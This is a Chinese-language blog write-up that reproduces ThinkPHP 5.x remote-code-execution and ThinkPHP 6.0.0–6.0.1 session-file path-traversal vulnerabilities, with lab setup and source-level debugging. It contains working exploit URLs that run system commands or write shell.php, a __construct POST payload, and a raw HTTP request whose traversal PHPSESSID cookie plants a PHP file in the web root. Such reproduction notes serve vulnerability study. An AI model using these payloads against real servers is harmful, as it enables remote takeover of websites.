thinkphp_RCE&&任意文件操作

Thinkphp5任意代码执行

这里贴一个TP历史版本的漏洞合集仓库

环境搭建

thinkphp5的环境搭建是比较简单的

lamp环境搭建好,将源码扔到web目录就行了

注意重新配置一下nginx里面的web根目录

根据thinkphp的目录结构,主目录里面的public文件是暴露在公网的根目录

38 root /var/www/public

重启一下Nginx,访问http://127.0.0.1/index.php 即可


上面的搭建了但是不好调试,这里还是在windows上搭建一个phpstorm xdebug调试环境

xdebug下载合适的xdebug的dll到%PHP_HOME%/ext,然后在php.ini中写入配置:

[XDebug]
xdebug.profiler_output_dir="E:\phpstudy\PHPTutorial\tmp\xdebug"
xdebug.trace_output_dir="E:\phpstudy\PHPTutorial\tmp\xdebug"
zend_extension=**"E:\phpstudy\PHPTutorial\php\php-7.1.13-nts\ext\php_xdebug-2.7.2-7.1-vc14-nts.dll"** #这个是你要替换的文件
xdebug.remote_enable=1
xdebug.remote_handler=dbgp
xdebug.remote_mode=req
xdebug.remote_port=9001 #Phpstorm默认值配置9000,你阔以更改
xdebug.idekey="PHPSTORM"
xdebug.mode=debug
zend_extension = D:\phpstudy\Extensions\php\php7.3.4nts\ext\php_xdebug-3.0.3-7.3-vc15-nts-x86_64.dll

然后进入phpstorm里面配置php环境,debug插件配置好

配置Run/Degub Configuration,具体可以看这篇

然后自己琢磨一会配置之后,就可以下断点愉快的调试了~

影响版本

5.0.7 – 5.0.22 5.1.x

漏洞复现

一个URL即可RCE:

5.0.x

?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg   # 包含任意文件
?s=index/\think\Config/load&file=../../t.php     # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

5.1.x

?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

还有_construct家族的payload

这里的漏洞我没复现成功,应该是版本没对上

注意,不同版本有不同的payload,具体看Y4er的文章

POST /index.php?s=captcha
...

_method=__construct&filter[]=system&method=POST&POST[]=ipconfig

debug

自己看网上的文章看了很久,debug试了半天终于有了一个大概的了解了

首先thinkphp的入口文件index.php

<?php
// 定义应用目录
define('APP_PATH', __DIR__ . '/../application/');
// 加载框架引导文件
require __DIR__ . '/../thinkphp/start.php';

接下来跳到start.php

<?php
namespace think;

// ThinkPHP 引导文件
// 1. 加载基础文件
require __DIR__ . '/base.php';

// 2. 执行应用
App::run()->send();

接下来是App::run()->send();跳到App.php,且关键代码在第116行

114         // 未设置调度信息则进行 URL 路由检测
115         if (empty($dispatch)) {
116             $dispatch = self::routeCheck($request, $config);
117         }

这里对传入的路由进行检测并返回

$dispatch = {array} [2]
type = "module"
module = {array} [3]
0 = "index"
1 = "think\app"
2 = "invokefunction"

然后跳到第139行带着dispatch进去exec

139         $data = self::exec($dispatch, $config);

452在switch/case语句里面判断请求,如果是模块:

            case 'module': // 模块/控制器/操作
              $data = self::module(
                  $dispatch['module'],
                  $config,
                  isset($dispatch['convert']) ? $dispatch['convert'] : null
              );
              break;

则依然带着

module = {array} [3]
0 = "index"
1 = "think\app"
2 = "invokefunction"

进入self::module方法, 然后在最后return到invokeMethod方法执行命令

    public static function invokeMethod($method, $vars = [])
  {
       if (is_array($method)) {
           $class   = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
           $reflect = new \ReflectionMethod($class, $method[1]);
      } else {
           // 静态方法
           $reflect = new \ReflectionMethod($method);
      }

       $args = self::bindParams($reflect, $vars);

       self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');

       return $reflect->invokeArgs(isset($class) ? $class : null, $args);
  }

其中$args的参数值:

$args的值是在App.php里面的第369行被绑定的

$args = {array} [2]
0 = "call_user_func_array"
1 = {array} [2]
0 = "system"
1 = {array} [1]
  0 = "curl http://127.0.0.1:8081"

Thinkphp6任意文件操作

环境搭建

根据百度下载php composer 换源composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/ 安装tp6: composer create-project topthink/think think6 安装以后默认是最新版本,编辑根目录下的composer.json

"require": {
      "php": ">=7.1.0",
      "topthink/framework": "6.0.1",
      "topthink/think-orm": "^2.0"
  },

然后执行:composer update

而且tp6默认是不开启phpsession的,我们修改一下app\middleware.php文件

<?php
// 全局中间件定义文件
return [
   // 全局请求缓存
   // \think\middleware\CheckRequestCache::class,
   // 多语言加载
   // \think\middleware\LoadLangPack::class,
   // Session初始化
    \think\middleware\SessionInit::class
];

然后因为我们没有真实的写业务逻辑,所以空的框架是用不到sessionid的,所以我们要写一个漏洞入口出来,在app/controller/index.php

<?php
namespace app\controller;

use app\BaseController;


class Index extends BaseController
{
   public function index()
  {
       $a = isset($_GET['a']) && !empty($_GET['a']) ? $_GET['a'] : '';
       $b = isset($_GET['b']) && !empty($_GET['b']) ? $_GET['b'] : '';
       session($a,$b);
       return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V6<br/><span style="font-size:30px">13载初心不改 - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
  }

   public function hello($name = 'ThinkPHP6')
  {
       return 'hello,' . $name;
  }
}

影响版本

6.0.0-6.0.1

网站使用到了session

漏洞复现

直接发包:

GET /?a=a&b=123<?php+phpinfo();+?> HTTP/1.1
Host: 127.0.0.1:8000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=/../../../public/aaaaaaaaaaa.php;
Connection: close

然后访问/aaaaaaaaaaa.php

debug

个人认为最有问题的代码就出现在这里,过滤不严格

    public function setId($id = null): void
  {
       $this->id = is_string($id) && strlen($id) === 32 ? $id : md5(microtime(true) . session_create_id());
  }

这里只要id是32位的那么就不会进行session_create_id,进而整个sessionID就可控,为什么可控呢

我们全局搜索一下setId(,这个函数在哪里被调用了,在sessionInit.php里面

    public function handle($request, Closure $next)
  {
       // Session初始化
       $varSessionId = $this->app->config->get('session.var_session_id');
       $cookieName   = $this->session->getName();

       if ($varSessionId && $request->request($varSessionId)) {
           $sessionId = $request->request($varSessionId);
      } else {
           $sessionId = $request->cookie($cookieName);
      }

       if ($sessionId) {
           $this->session->setId($sessionId);
      }

观察一下sessionID的值是从cookie中(或者request传参)传过来的,跟进一下

$data = $this->getData($this->cookie, $name, $default);

反正这里的sessionID我们可以控制任意值。

然后在sessionInit中的最后有一段代码

    public function end(Response $response)
  {
       $this->session->save();
  }

这里会写入session到文件里面

    public function save(): void
  {
       $this->clearFlashData();

       $sessionId = $this->getId();

       if (!empty($this->data)) {
           $data = $this->serialize($this->data);

           $this->handler->write($sessionId, $data);
      } else {
           $this->handler->delete($sessionId);
      }

       $this->init = false;
  }

好了,这里就是tp6任意操作文件的函数了,因为他是把sessionID作为文件名,所以如果把sessionID设置成类似/../../../就能达到目录穿透的效果。

所以,write可以任意写文件,delete可以任意删除文件就很好解释了。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇